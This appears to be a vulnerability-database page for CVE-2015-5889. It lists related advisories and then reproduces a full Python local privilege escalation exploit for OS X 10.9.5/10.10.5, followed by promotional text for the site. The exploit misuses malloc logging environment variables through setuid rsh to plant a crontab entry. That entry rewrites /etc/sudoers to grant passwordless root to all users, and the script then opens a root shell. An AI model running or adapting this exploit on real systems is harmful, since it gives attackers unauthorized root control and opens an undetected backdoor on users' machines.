| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation | 1 Oct 201500:00 | – | zdt | |
| issetugid() + rsh + libmalloc OS X Local Root Exploit | 3 Oct 201500:00 | – | zdt | |
| Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation Exploit | 27 Oct 201500:00 | – | zdt | |
| Mac OS X < 10.11 Multiple Vulnerabilities | 28 Oct 201500:00 | – | nessus | |
| Mac OS X < 10.11 Multiple Vulnerabilities (GHOST) | 5 Oct 201500:00 | – | nessus | |
| CVE-2015-5889 | 1 Oct 201500:00 | – | circl | |
| Apple OS X RSH Code Execution Vulnerability | 3 Oct 201500:00 | – | cnvd | |
| CVE-2015-5889 | 9 Oct 201501:00 | – | cve | |
| CVE-2015-5889 | 9 Oct 201501:00 | – | cvelist | |
| Apple Mac OSX 10.9.5/10.10.5 - 'rsh/libmalloc' Local Privilege Escalation (Metasploit) | 27 Oct 201500:00 | – | exploitdb |
# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root
# tested on osx 10.9.5 / 10.10.5
# jul/2015
# by rebel
import os,time,sys
env = {}
s = os.stat("/etc/sudoers").st_size
env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'
sys.stderr.write("creating /etc/crontab..")
p = os.fork()
if p == 0:
os.close(1)
os.close(2)
os.execve("/usr/bin/rsh",["rsh","localhost"],env)
time.sleep(1)
if "NOPASSWD" not in open("/etc/crontab").read():
sys.stderr.write("failed\n")
sys.exit(-1)
sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")
while os.stat("/etc/sudoers").st_size == s:
sys.stderr.write(".")
time.sleep(1)
sys.stderr.write("\ndone\n")
os.system("sudo su")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation